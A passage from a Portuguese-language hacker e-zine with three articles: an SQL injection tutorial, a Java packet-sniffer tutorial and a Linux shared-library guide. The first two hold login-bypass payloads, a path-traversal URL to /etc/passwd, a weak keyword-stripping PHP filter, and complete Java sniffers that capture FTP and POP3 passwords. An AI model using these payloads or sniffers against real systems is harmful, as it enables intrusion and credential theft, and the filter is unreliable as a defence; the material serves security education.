mas formas de implementar um ataque via SQL injection... Usando o exemplo da
sintaxe construida acima, nos poderiamos passar direto para a execucao de pagi-
nas privadas, mesmo sem ter a senha e usuario valido. Isso e' muito simples.
Vamos usar a imaginacao: O que aconteceria se o usuario digitasse na caixa de
usuario e senha o seguinte:
' or '1' = '1
Voce consegue dizer como ficaria a sintaxe SQL? Caso nao, la vai:
SELECT user FROM tab_user WHERE user =' ' or '1' = '1' AND pass =' ' or '1'='1'
E dai??? O que tem demais nisso? Se observarmos a instrucao SQL esta'
dizendo ao banco o seguinte: Selecione tudo da tabela tab_user que tiver user
= vazio ou 1 igual a 1 e pass = vazio ou 1 igual a 1... Bem, no minimo o nume-
ro 1 sempre sera igual a 1, entao "Tamo Dentro".
Pra piorar a situacao pra uns e facilitar pra outros, poderemos fazer ainda de
uma forma mais simples:
' = '
Quando esse codigo se juntar com a sintaxe SQL ja existente na pagina, ele fica-
ra assim:
SELECT user FROM tab_user WHERE user = ' '=' ' AND pass = ' '=' '
Pra variar, um campo vazio sempre sera = a vazio, assim, o resultado da sintaxe
SQL sera verdadeiro, permitindo a passagem.:)
--=[ Mais comandos ...
Bem, vamos conhecer mais alguns comandos de SQL, assim voce pode usar a
malicia e criar sintaxes diferentes. Caso voce nao conheca bem a linguagem SQL,
nem precisa dizer que sera' necessario estuda-la nao e'?!
La' vai entao:
INSERT INTO tab_user (User, pass) VALUES ('eu_mesmo', 123456)
No exemplo acima eu inseri na tabela tab_user um usuario chamado eu_mesmo, com a
senha 123456.
DELETE FROM tab_user WHERE user = 'eu_mesmo'
Pelo comando na sintaxe ja' da' pra saber o que ela faz... Apaga do banco o usu-
ario chamado eu_mesmo!
Uma coisa bem interessante e' que nos podemos comentar os codigos que
vierem posteriormente ao nosso, com um simples comando, o -- exatamente assim.
Caso o banco seja um ORACLE, antes do -- teremos de separa-lo da sintaxe com
um ; entao no ORACLE ficaria assim ;--. Com isso podemos anular todo o resto da
sintaxe que estiver inserida do lado direito apos o codigo injetado por nos.
Uma outra coisa bastante interessante e' a concatenacao, podemos fazer isso com
um simples + por exemplo...
'bo' + 'ok' = book
Se o banco for um ORACLE ficaria assim:
'bo' || 'ok' = book
Entendido ne'? Muito simples, o basico.
OBS.: Caso quando voce injete um codigo SQL, abra uma pagina de erro 500.100,
saiba que o servidor e' um Windows 2000. Este erro e' padrao do Windows, e ne-
nhum outro sistema o exibe!
--=[ Existe jeito?
Para evitar esse tipo de ataque e' necessario fazer um tratamento no co-
digo para que toda vez que um comando SQL for inserido nos campos, eles sejam
ignorados. Segue abaixo um script de uma função chamada anti_injection. Ela foi
escrita por Fabyo do imaster...
1.
2.
3. function anti_injection($sql)
4. {
5. // remove palavras que contenham sintaxe sql
6. $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop
table|show tables|#|\*|--|\\\\)/"),"",$sql);
7. $sql = trim($sql);//limpa espaços vazio
8. $sql = strip_tags($sql);//tira tags html e php
9. $sql = addslashes($sql);//Adiciona barras invertidas a uma string
10. return $sql;
11. }
12.
13. //modo de usar pegando dados vindos do formulario
14. $nome = anti_injection($_POST["nome"]);
15. $senha = anti_injection($_POST["senha"]);
16.
17. ?>
Com essas poucas linhas ja torna possivel previnir-se contra esse tipo
de ataque. Claro que nada e' 100% seguro. Mas ja torna mais dificil de se apli-
car uma injecao de SQL no teu codigo.
--=[ Consideracoes Finais
Quando essa falha foi descoberta, ateh o tao poderoso PHPnuke estava
vulneravel, e o que deveria ja ser extinto, ainda nao o e', ao dar uma olhada
na internet a dentro, nota-se que muitas paginas ainda sao vulneraveis a SQL
injection. Muito mais paginas do que se imagina, e ainda paginas de shopping
on-line, essas que garantem ao usuario uma compra "segura", segundo eles.
Com um avanco nos conhecimentos de SQL injection e' possivel capiturar
dados do banco e exibi-los sem grandes dificuldades. Muitas vezes com um simples:
http://www.paginavulneravel.com/../../etc/passwd
O arquivo que contem as senhas e' exibido. Fica mais uma vez confirmado, nao
provado, que nao existe NADA absolutamente seguro... e que a seguranca e' um
sonho sem fundamentos.
Aconselho aos interessados em se proteger desse tipo humilhante de ata-
que a se aprofundarem mais no assunto. Pois para entender como se proteger, e'
preciso se conhecer como e' executado o ataque.
--=[ Conheca um pouco mais
http://www.w3schools.com/sql/sql_intro.asp
http://www.1keydata.com/sql/sql.html
http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=sql+
injection&type=archives&%5Bsearch%5D.0&%5Bsearch%5D.y=0
Nos links acima voce podera conseguir mais conhecimento sobre o SQL injection e
do proprio SQL em si.
--=[ Finished
Espero poder ter ajudado a dar uma luz, mesmo que minima, na mente dos
interessados... Se voce e' elite e leu o texto ate' aqui, lamento muito por vo-
ce nao ter seguido meu conselho. So me resta dizer: Da proxima vez escute con-
selhos.
Quero lembrar que hacking acima de tecnica e' pura etica, por isso nao
use o conhecimento que possui para maus objetivos. Nao existe satisfacao melhor
que ajudar outros, "há mais felicidade em dar do que há em receber." Por isso,
use de bom senso caso encontre uma pagina vulneravel.
E de coracao eu gostaria de agradecer a todos os que me dao forca, em
especial o SkyNet45 e o Assuero Grandes mentes lutando pela liberdade da infor-
macao...
/* Disciplina e' liberdade */
Um abraco a todos,
Inseto Verde
if.undef [at] gmail [dot] com
_EOF_
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[14]-=[Implementando um Sniffer em Java]=-|tDs|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
--=[ Introducao
Manipular raw sockets normalmente nao e' uma tarefa muito simples e pode
tornar-se bastante ingrata quando nao se tem um conhecimento amplo sobre tcp/ip
(o que e' o meu caso). Escrever codigo em java tambem nao e' uma tarefa muito
gratificante (no comeco), pois parece que ao inves de facilitar o trabalho de
programar, ela dificulta (ou vai dizer que e' legal ter que ficar tratando ex-
ceptions por todo o codigo?). Veremos aqui uma brevissima introducao 'a lingua-
gem java, atraves da utilizacao de simples exemplos, ou seja, nao serao expli-
cados conceitos por tras da linguagem, e apos isso como trabalhar com raw so-
ckets utilizando java (em ambiente linux).
--=[ Instalando J2SESDK
J2SESDK - Java 2 Standard Edition Software Development Kit - fornece um
ambiente completo para o desenvolvimento de aplicacoes em java. Caso ja o tenha
instalado, nao e' necessario a leitura desta parte do texto.
Apos efetuar a copia de J2SDK em [3] (a instalacao sera feita utilizando
o "self-extracting-file", no diretorio /usr/local), a instalacao e' dada da se-
guinte forma:
# cd /usr/local
# chmod +x j2sdk-1_4_2_-linux-i586.bin
# ./j2sdk-1_4_2_-linux-i586.bin
Aceite a licenca [yes]
# rm j2sdk-1_4_2_-linux-i586.bin
# ln -s /usr/local/j2sdk1.4.2_ /usr/local/java
# echo "export JAVA_HOME=/usr/local/java" >> /etc/profile
# echo "PATH=$JAVA_HOME/bin:$PATH" >> /etc/profile
Apos esse procedimento, podemos escrever um simples "HelloWorld.java",
para testarmos a instalacao (e' necessario efetuar um novo login para que as
mudancas de PATH e de localizacao do java surtam efeito)
<++> java/HelloWorld.java
/**
* Simples hello world em java
* by tDs tds@motdlabs.org
*
* Compile com $javac HelloWorld.java
*/
public class HelloWorld {
public static void main(String[] args) {
System.out.println ("Hello World");
System.exit(0);
}
}
<--> java/HelloWorld.java
Compile e execute o programa:
$ javac HelloWorld.java
$ java HelloWorld
Hello World
$
Verificado entao que a instalacao do java foi feita corretamente.
--=[ Instalando LIBPCAP
Java nao tem suporte nativo a raw sockets, sendo necessario para isso a
utilizacao da libpcap. A libpcap nos disponibiliza uma interface em alto nivel
para desenvolvimento de sistemas de captura de pacotes. Primeiro e' necessario
efetuar o download em [1]. A versao utilizada foi a 0.8.3. A instalacao e' bas-
tante simples:
$ tar xzvf libpcap-0.8.3.tar.gz
$ cd libpcap-0.8.3
$ ./configure
$ make
# make install
Informacoes detalhadas sobre a libpcap podem ser encotradas em sua man page:
$ man pcap
Uma vez com o J2SDK e a libpcap instalados, e' necessaria a instalacao da Jpcap.
--=[ Instalando JPCAP
Jpcap e' um conjunto de classes que prove meios para captura de pacotes
(sim faz o mesmo que a libpcap mas faz isso utilizando-a). E' necessario efetuar
o download dela em [2]. A versao utilizada foi a 0.01.16. A instalacao e' efetu-
ada da seguinte forma:
$ tar xzvf jpcap-0.01.16.tar.gz
# cp jpcap-0.01.16/lib/libjpcap.so $JAVA_HOME/jre/lib/i386/
# cp jpcap-0.01.16/jars/net.sourceforge.jpcap-0.01.16.jar \
$JAVA_HOME/jre/lib/ext/
# echo "export CLASSPATH=\"$JAVA_HOME/jre/lib/ext/net.sourceforge.jpcap-0.01.16.jar\""
A instalacao do que sera necessario para iniciarmos em java esta conclu-
ida. Apenas tenha certeza de que tudo foi corretamente instalado e esta funcio-
nando (o proximo exemplo nos dara certeza disso, portanto, compile-o).
--=[ A Linguagem Java
Java e' uma linguagem robusta, com uma utilizacao muito grande, indo
desde simples smart-cards, passando por telefone celular e indo ate'super-compu-
tadores. Diferentemente de outras linguagens, o compilador java nao gera codigo
em "linguagem de maquina", que e' a representacao que "os computadores entendem"
, ao inves disso ele gera um "bytecode", que e' uma representacao interpretada
pela maquina virtual java (JVM). Ou seja, java nao e' nem compilada, como a lin-
guagem C por exemplo, e nem interpretada, como PHP ou PERL. Para desenvolver em
java, e' necessario ter um conhecimento, mesmo que minimo, sobre o conceito de
"orientacao a objeto" (OOP), que e' uma forma de manipulacao e armazenamento de
dados diferente da utilizada em linguagens estruturadas. Um aprofundamento sobre
programacao em java pode ser encontrado em [4].
--=[ Iniciando o uso de JPCAP
Indo diretamente a exemplos, comecamos com um que lista os dispositivos
disponiveis na maquina:
<++> java/ListaDispositivos.java
import net.sourceforge.jpcap.capture.*;
import net.sourceforge.jpcap.net.*;
/**
* Lista os dispositivos de rede presente na maquina
* by tDs tds@motdlabs.org
*
* Compile com $javac ListaDispositivos.java
*/
public class ListaDispositivos {
// Cria uma instancia de PacketCapture, que sera o objeto responsavel pela
// manipulacao das interfaces de rede (neste caso).
private static PacketCapture mPcap = new PacketCapture();
public static void main(String[] args) {
try {
// Obtem uma lista com as interfaces disponiveis
String dev[] = mPcap.lookupDevices();
System.out.println ("Foram encontrados " + dev.length + " dispositivos:");
//exibe cada dispositivo encontrado
for (int cont = 0; cont < dev.length; cont++)
System.out.println (" - " + dev[cont]);
} catch (Exception e) {}
}
}
<--> java/ListaDispositivos.java
Apenas lendo os comentarios do codigo conseguimos ter um perfeito enten-
dimento do que ele faz. Executando-o como root vemos o seguinte (que pode e cer-
tamente sera diferente):
# javac ListaDispositivos.java
# java -cp . ListaDispositivos
PacketCapture: loading native library jpcap.. ok
Foram encontrados 4 dispositivos:
- lo
- eth0
- eth1
- ppp0
#
O comando "java -cp . ListaDispositivos" executa a classe ListaDisposi-
tivos.class (que foi previamente compilado com "javac ListaDispositivos.java"),
informando que o classpath (localizacao das classes) e' o diretorio corrente
( "." ). Note que nao e' necessario informar o nome do arquivo que sera execu-
tado, mas somente o nome da classe, que neste caso e' "ListaDispositivos".
Observe que somente o root pode executar. No caso de um usuario sem privilegios,
teriamos o seguinte:
$ java -cp . ListaDispositivos
PacketCapture: loading native library jpcap.. ok
Foram encontrados 0 dispositivos:
$
O exemplo seguinte vai exibir todos os pacotes que estejam iniciando uma
conexao em algum servico local. A verificacao e' dada atraves do bit SYN setado,
estando o ACK em 0. Apenas lembrando, uma conexao tcp e' estabelecida pelo cha-
mado "Three Way Handshake", ou algo como "Triplo aperto de maos". Funciona mais
ou menos assim:
- Host A, que vai conectar-se em Host B envia um pacote com a flag SYN, de
syncronize, que solicita ao Host B uma sincronizacao de "sequence numbers",
que sao os numeros de sequencia de pacotes tcp.
- Host B quando recebe o pacote com a flag SYN setada, responde ao Host A
com um outro pacote, tendo as flags SYN e ACK, de Acknowledgement, setadas.
- Host A envia entao um terceiro pacote, com a flag ACK setada. Apos isso a
conexao e' estabelecida.
Com isso em mente e' possivel perceber como podemos verificar se um pa-
cote que chega e' ou nao o pedido de uma nova conexao. Vamos ao exemplo:
<++> java/CapturaInicioConexao.java
import net.sourceforge.jpcap.capture.*;
import net.sourceforge.jpcap.net.*;
/**
* Exibe todos os pacotes que sejam enviados em pedidos de conexao
* a servicos locais
* by tDs tds@motdlabs.org
*
* Compile com $javac CapturaInicioConexao.java
*/
public class CapturaInicioConexao {
private static final String FILTER = "proto TCP";
private static String devHandler;
// Cria uma instancia de PacketCapture, que sera o objeto responsavel pela
// manipulacao das interfaces de rede (neste caso).
private static PacketCapture pcap = new PacketCapture();
public static void main(String[] args) {
try {
// Obtem uma lista com as interfaces disponiveis
// e assina mDevice com o primeiro encontrado
String dev[] = pcap.lookupDevices();
devHandler = dev[0];
// abre inteface para iniciar captura de pacotes
pcap.open(devHandler, true);
// adiciona um filtro (protocolo = TCP) para captura de dados
pcap.setFilter(FILTER, true);
// registra um RawPacketListener, que e' o objeto que vai
// "ler/escutar" os pacotes que nos interessa
pcap.addPacketListener(new PacketHandler());
// inicia captura de pacotes
pcap.capture(-1);
} catch (Exception e) {}
}
}
/**
* cria um packet listener, que ira receber os pacores enviados
* por um PacketCapture que o registre
*/
class PacketHandler implements PacketListener {
private static int pcounter = 0;
public void packetArrived(Packet pacote) {
TCPPacket tcp = (TCPPacket) pacote;
// feita uma verificacao se o bit SYN esta setado
// e mais nenhum outro
if (tcp.isSyn() && !tcp.isAck() && !tcp.isFin()
&& !tcp.isPsh() && !tcp.isRst() ) {
pcounter++;
System.out.println("Recebendo pedido de conexao na porta " +
tcp.getDestinationPort() + ".");
System.out.println("Endereco: " + tcp.getSourceAddress());
}
}
}
<--> java/CapturaInicioConexao.java
Executando temos o seguinte:
# java -cp . CapturaInicioConexao
PacketCapture: loading native library jpcap.. ok
Em outro terminal, executamos o seguinte:
$ telnet localhost 223
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused
$
Voltando para a captura de pacotes:
# java -cp . CapturaInicioConexao
PacketCapture: loading native library jpcap.. ok
Recebendo pedido de conexao na porta 223.
Endereco: 127.0.0.1
E' possivel observar com esse exemplo acima a facilidade de manipulacao
de pacotes. Este proximo exemplo captura pacotes destinados a porta 21 (ftp).
Apos a captura sao feitas algumas analises para verificar se o usuario fez login
corretamente. Caso tenha feito, exibe o nome e a senha utilizadas para isso.
<++> java/FtpGetLogin.java
import net.sourceforge.jpcap.capture.*;
import net.sourceforge.jpcap.net.*;
import java.lang.*;
/**
* Exibe nome de usuario e senha de tentativas de login bem efetuadas localmente
* by tDs tds@motdlabs.org
*
* Compile com $javac FtpGetLogin.java
*/
public class FtpGetLogin {
private static final String FILTER = "proto TCP and port 21";
private static String devHandler;
private static PacketCapture pcap = new PacketCapture();
public static void main(String[] args) {
try {
String dev[] = pcap.lookupDevices();
devHandler = dev[0];
pcap.open(devHandler, true);
pcap.setFilter(FILTER, true);
pcap.addPacketListener(new PacketHandler());
pcap.capture(-1);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
}
class PacketHandler implements PacketListener {
private static String USER = "";
private static String PASS = "";
private static boolean FLAG = false;
public void packetArrived(Packet pacote) {
// faz um cast do pacote recebido para um tipo TCPPacket
TCPPacket tcp = (TCPPacket) pacote;
// Obtem o conteudo do campo DATA do pacote TCP
byte d[] = tcp.getTCPData();
StringBuffer data = new StringBuffer();
for (int c = 0; c < d.length; c++)
data.append( (char) d[c]);
// verifica se foi informado usuario/senha e assina o valor a eles
if (data.toString().indexOf("USER") != -1)
USER = data.toString().replaceAll("USER","").trim();
if (data.toString().indexOf("PASS") != -1)
PASS = data.toString().replaceAll("PASS","").trim();
// cod. 230 indica que efetuou login corretamente, levanta uma flag
if (data.toString().indexOf("230") != -1)
FLAG = true;
// cod. 530 indica que nao efetuou login corretamente, apaga info sobre
// usuario e senha
if (data.toString().indexOf("530") != -1)
USER = PASS = "";
// caso tenha se logado, informa o user e a senha
if (FLAG) {
System.out.println("Recebendo conexao ftp...");
System.out.println("Usuario: " + USER);
System.out.println("Senha: " + PASS + "\n");
FLAG = false;
}
}
}
<--> java/FtpGetLogin.java
Executando temos o seguinte:
# java -cp . FtpGetLogin
PacketCapture: loading native library jpcap.. ok
Em outro terminal, efetuamos um login via ftp:
$ ftp localhost
Connected to localhost.
220 ProFTPD 1.2.9 Server (tDs's FTP) [matrix.net]
Name (localhost:tds): dumb
331 Password required for dumb.
Password:
230 User dumb logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
Voltando para a captura de logins:
# java -cp . FtpGetLogin
PacketCapture: loading native library jpcap.. ok
Recebendo conexao ftp...
Usuario: dumb
Senha: senha
Observa-se que, com aproximadamente 70 linhas de codigo, e' possivel
fazer uma ferramenta util para captura de usuarios e senhas de ftp. Vamos a mais
um exemplo:
<++> java/PopGetLogin.java
import net.sourceforge.jpcap.capture.*;
import net.sourceforge.jpcap.net.*;
import java.lang.*;
/**
* Exibe nome de usuario e senha de tentativas de login bem efetuadas localmente
* by tDs tds@motdlabs.org
*
* Compile com $javac PopGetLogin.java
*/
public class PopGetLogin {
private static final String FILTER = "proto TCP and port 110";
private static String devHandler;
private static PacketCapture pcap = new PacketCapture();
public static void main(String[] args) {
try {
String dev[] = pcap.lookupDevices();
devHandler = dev[0];
pcap.open(devHandler, true);
pcap.setFilter(FILTER, true);
pcap.addPacketListener(new PacketHandler());
pcap.capture(-1);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
}
class PacketHandler implements PacketListener {
private static String USER = "";
private static String PASS = "";
private static boolean FLAG = false;
public void packetArrived(Packet pacote) {
// faz um cast do pacote recebido para um tipo TCPPacket
TCPPacket tcp = (TCPPacket) pacote;
// Obtem o conteudo do campo DATA do pacote TCP
byte d[] = tcp.getTCPData();
StringBuffer data = new StringBuffer();
for (int c = 0; c < d.length; c++)
data.append( (char) d[c]);
// verifica se foi informado usuario/senha e assina o valor a eles
if (data.toString().indexOf("USER") != -1)
USER = data.toString().replaceAll("USER","").trim();
if (data.toString().indexOf("PASS") != -1)
PASS = data.toString().replaceAll("PASS","").trim();
// +OK ? indica que efetuou login corretamente, levanta uma flag
if (data.toString().indexOf("OK") != -1 && USER.length() > 1
&& PASS.length() > 1)
FLAG = true;
// -ERR ? indica que nao efetuou login corretamente, apaga info sobre
// usuario e senha
if (data.toString().indexOf("-ERR") != -1)
USER = PASS = "";
// caso tenha se logado, informa o user e a senha
if (FLAG && USER.length() > 1 && PASS.length() > 1) {
System.out.println("Recebendo conexao POP3...");
System.out.println("Usuario: " + USER);
System.out.println("Senha: " + PASS + "\n");
FLAG = false;
USER = PASS = "";
}
}
}
<--> java/PopGetLogin.java
Observa-se a grande semelhanca entre o sniffer para FTP e o sniffer para
POP3 e a simplicidade de ambos.
--=[ Agradecimentos e Links/Referencias
Pessoal da scene brasileira toda, em especial ao pessoal que converso
com maior frequencia. Voces sabem quem sao voces.
Informacao e' simples de se adquirir, internet esta cheia disso. Basta
saber procurar...
[1] http://www.tcpdump.org/release/libpcap-0.9.0-096.tar.gz
[2] http://sourceforge.net/projects/jpcap
[3] http://java.sun.com/j2se/1.4.2/download.html
[4] http://www.ic.unicamp.br/~cmrubira/aacesta/java/javatut.html
_EOF_
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[15]-=[Desenvolvimento de Bibliotecas]-=|nEuRoMaNcEr|=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
01 - Introdução
02 - Shared libraries
03 - Nomeclatura e localização
04 - Como funcionam as shared libs
05 - ldconfig
06 - Criando uma shared lib
07 - Utilizando shared libs
08 - Utilizando shared libs dinamicamente
09 - dlopen e sua turma.
10 - O que está por vir.
--=[ Introdução
Saudações pessoas, essa é a minha primeira e humilde contribuição nessa
zine, então vamos direto ao ponto. Desenvolvimento de bibliotecas em ambiente
linux. Estaremos utilizando ferramentas GNU e talvez alguma parte esquecida dos
nossos cérebros.
--=[ Shared libraries
Para desenvolvermos bibliotecas deste tipo, precisamos ter em mente que
elas tem nomes especiais e sua localização no sistema de arquivos é importante
para sua utilização. Shared libs são carregadas na inicialização do programa e
compartilhada entre programas.
--=[ Nomeclatura e localização
Toda shared lib tem três nomes especiais. O primeiro nome chamado "nome
SO" ou SONAME. O SONAME é composto pelo prefixo "lib" + nome da biblioteca + o
sufixo ".so" e um número de versão que é incrementado a cada nova release da
biblioteca. O segundo nome especial é o "nome real" ou REALNAME. O REALNAME é
formado pelo SONAME + um número de versão + número de release (opcional). O ter-
ceiro nome é o nome de link-edição ou LINKERNAME. Este é o nome que o compilador
usa quando solicita uma biblioteca. Este nome é basicamente o SONAME sem os nú-
meros de versão.
Se criássemos agora uma biblioteca chamada "foo", certamente seria a
versão 0.0 e a primeira release. Teríamos então libfoo.so.0 como SONAME. O RE-
ALNAME seria libfoo.so.0.0.1 e o LINKERNAME seria foo.
Depois de criada a biblioteca, ela precisa ser instalada em algum lugar,
certo? O padrão GNU recomenda que sejam instaladas em /ust/local/lib quando dis-
tribuído junto com código fonte. Porém um outro padrão chamado FHS (Filesystem
Hierarchy Standard) define o que deve ir onde em uma distribuição linux. Este
padrão diz que as libs devem ser instaladas em /usr/lib ou /lib no caso de bi-
bliotecas necessárias para a inicialização do sistema. Embora aparente que os
dois padrões se contradigam, isso não acontece, pois o padrão GNU define a loca-
lização para distribuição de código fonte, e o padrão FHS usa o ponto de vista
de distros e onde cada lib deve estar instalada para ser usada por outros pro-
gramas.
--=[ Como funcionam as shared libs
Para discutirmos o funcionamento das shared libs, temos que estar fami-
liarizados com o loader. O loader é um programa geralmente localizado em /lib/
ld-linux.so.? (? é um numero de versão).
A tarefa do loader é encontrar e carregar todas as libs utilizadas por
um programa durante a sua inicialização. Para encontrar as libs usadas por um
programa, ld-linuz.so tem um mapa de diretórios pelos quais ele pode buscar a
lib que precisa. Este mapa é o arquivo chamado /etc/ld.so.conf.
O padrão fhs pode ser consultado em http://www.pathname.com/fhs. Uma vez
que uma lib é carregada na memória, ela permanece lá até que nenhum outro pro-
grama utilize símbolos exportados por ela.
--=[ ldconfig
Pode ser terrivelmente pouco eficiente procurar por todos os diretórios
de ld.so.conf durante a inicialização de um programa, então é aí que entra o
ldconfig. Esse carinha mantém um cache de localização de libs criado a partir do
arquivo /etc/ld.so.conf. Este cache acelera o processo consideravelmente.
Este processo pode ser feito com o comando:
#ldconfig -n diretorio_com_as_libs
Além disso, o ldconfig tem outros superpoderes. Sempre que um nova lib é
instalada no sistema, ldconfig é o responsável por configurar seus nomes (SONAME
,REALNAME e LINKNAME) através de links simbólicos e instalá-la no lugar correto
no sistema de arquivos.
--=[ Criando uma shared lib
Ao contrário das DLLs do M$ ruWindows, shared libs em linux não tem um
modo específico de ser programado. É simplesmente uma função ou funções exporta-
das como símbolos públicos. Simples assim. O código abaixo é o código completo
de uma library 100% funcional.
--------------libteste.c-----------------
<++> sharedlib/libteste.c
#include
void say(char *s)
{
printf("You said: %s\n", s);
}
<--> sharedlib/libteste.c
-----------------------------------------
Para compilarmos nossa libteste fazemos:
#gcc -fPIC -Wall -c libteste.c -o libmarcio.o
O parâmetro -fPIC instrui o compilador a gerar código independente da posição.
O parâmetro -c já é manjado. Instrui o compilado a só compilar (e não linkar)
o código. O Parâmetro -o também já é manjadão, configura o nome do arquivo ge-
rado pelo gcc.
Neste ponto temos o nosso código compilado. A única diferença nesta com-
pilação foi que geramos código independente da posição onde ele é carregado (PIC
ou position independent code). Agora realmente geramos nossa lib com o comando:
#gcc -shared -Wl,-soname,libteste.so.0 -o libteste.so.0.0 libteste.o -lc
Percebam que estamos definindo o SONAME,REALNAME e LINKNAME neste ponto. Defini-
mos o soname com -Wl, -soname libteste.so.0. Definimos o REALNAME com -o libtes-
te.so.0.0. Este é o nome que o arquivo compilado terá.
Uma vez criada a nossa lib, temos que instalar no sistema de arquivos e
criar o cache para ela. Inicialmente copiamos a lib para o diretório /usr/lib
(padrão GNU, lembram ?)
#cp libteste.so.0.0 /usr/lib
Configuramos o cache e o SONAME automaticamente com o ldconfig:
ldconfig -n /usr/lib/
Configuramos o LINKERNAME na marra:
ln -sf /usr/lib/libteste.so.0.0 /usr/lib/libteste.so
TCHANAAAAAMMM! Temos uma shared lib criada e instalada no sistema. Saem lágrimas
dos meus olhos sempre que passo por estes passos. É um processo tão lindo...
Bom, mas até agora uma lib instalada não é muito útil se for pra ficar
perdida lá no disco pegando poeira... Como fazer um programa utilizar o código
que exportamos na lib? Simples... Olhe o próximo tópico! :)
--=[ Utilizando shared libs
Vamos lá cambada, vamos criar um programa que utilize a nossa lib.
--------------------------usalib.c-------------------------
<++> sharedlib/usalib.c
#include
// se você criou um header com os cabeçalhos das rotinas exportadas na lib,
// inclua ele aqui. Isso permite que o compilador te avise se você está
// referenciando a rotina de maneira certa.
int main(int argc, char **argv )
{
while ( argc > 1 ) // para cada parâmetro passado ao programa...
{
argc--;
say(argv[argc]); // esta função está implementada na nossa lib!
}
}
<--> sharedlib/usalib.c
-----------------------------------------------------------
Mais fácil que isso só encontrar bug no SO da concorrência $$$!
Durante a compilação, informamos que o nosso código deve ser linkado com a
libteste.so. Isso é feito com:
#gcc usalib.c -lteste usalib.c -o usalib
Para executar o nosso programa faríamos
#./usalib wako yako doty
Teríamos então a saída:
You said: doty
You said: yako
You said: wako
--=[ Utilizando shared libs dinamicamente
Uma boa vantagem da utilização de libs é a possibilidade de carregamento
dinâmico. Uma lib pode ser carregada em qualquem momento durante a execução de
um programa, não sendo restrito somente a sua inicialização. Plugins e módulos
não essenciais a execução de um programa podem se beneficiar deste método para
carregar as libs que necessitam somente no momento em que forem ativados.
Nenhuma modificação por parte da lib precisa ser feita para que este
seja capaz de ser associada dinamicamente a um programa. Entretanto, o programa
que utilizará o código exportado na lib precisa especificar explicitamente qual
símbolo e qual lib deseja acessar. Para essa tarefa temos a libdl.
--=[ dlopen e sua turma.
A libdl implementa algumas rotinas que nos possibilitam acessar dinami-
camente uma lib. As rotinas tem seus cabeçalhos em dlfcn.h como abaixo:
void *dlopen(const char *filename, int flag);
void *dlsym(void *handle, const char *symbol);
int dlclose(void *handle);
dlopen() carrega a lib e retorna um "handle" que identifique a lib no contexto
do programa. dlsym() retorna o endereço em que um determinado símbolo esta car-
regado na memória. dlclose() decrementa as referências ao handle especificado.
Se a contagem chegar a zero e nenhuma outra lib utilizar símbolos exportados
nesta lib, então ela será descarregada da memória. Para exemplificar, vamos car-
regar nossa libteste dinamicamente.
-----------------------dinamiclib.c----------------------------
<++> sharedlib/dinamiclib.c
#include
#include // <----- necessario para carregar dinamicamente a libteste
#include
int main(int argc, char **argv)
{
int i;
void *module;
const char *error;
/* Descrevemos uma variavel que guarde o endereco
de uma funcao que retorna void e recebe um
char * como parametro
*/
void (*say)(char *);
if ( argc == 1 )
{
fprintf(stderr, "Que tal passar um parametro hein ??\n");
exit(0);
}
/* CARREGAMOS A LIBTESTE AGORA */
module = dlopen("libteste.so", RTLD_LAZY);
if ( ! module )
{
fprintf(stderr,"Erro (%s) ao carregar libteste.so\n",dlerror());
exit(1);
}
/* OK, neste ponto a lib foi carregada, vamos ober o endereco da rotina say() desta lib*/
say = dlsym(module, "say");
if ( (error = dlerror()) )
{
fprintf(stderr, "Erro (%s) ao carregar rotina say\n", error);
exit(1);
}
for (argc-- ; argc > 0; argc-- )
{
(*say)(argv[argc]); // chamada a rotina say() da libteste
}
return 0;
}
<--> sharedlib/dinamiclib.c
---------------------------------------------------------------
Para compilar temos que linkar nosso programa com a libdl:
#gcc -ldl dinamiclib.c -o dinamiclib
A saída é idêntica a saída do programa usando shared lib.
--=[ O que está por vir
Senhores, esta introdução é suficiente para iniciar o estudo sobre esse
assunto, o ORÁCULO (google) tem muita informação sobre este tema, além é claro
dos manpages.
Quaisquer dúvidas, sugestões , correções ou comentários são bem vindos
e podem ser encaminhados pro meu e-mail ou por msn/icq/sinal de fumaça/telepatia
/telefone ou pombo correio.
Aproveito para divulgar aqui nesta zine um projeto que desenvolvo que se
iniciou com o estudo de libs em linux. Espero estar escrevendo em breve sobre o
novo protótipo do projeto que possibilita que qualquer linguagem de programação
interpretada como php, perl ou asp, por exemplo, utilize QUALQUER lib sem a ne-
cessidade de plugins ou modificações no interpretador da linguagem. A nossa
libteste poderia ser chamada em um script php ... que tal ?
nEuRoMaNcEr
mail: marciomanbr[arroba]yahoo.com.br
msn: marciovmf[arroba]hotmail.com
icq: 86026760
_EOF_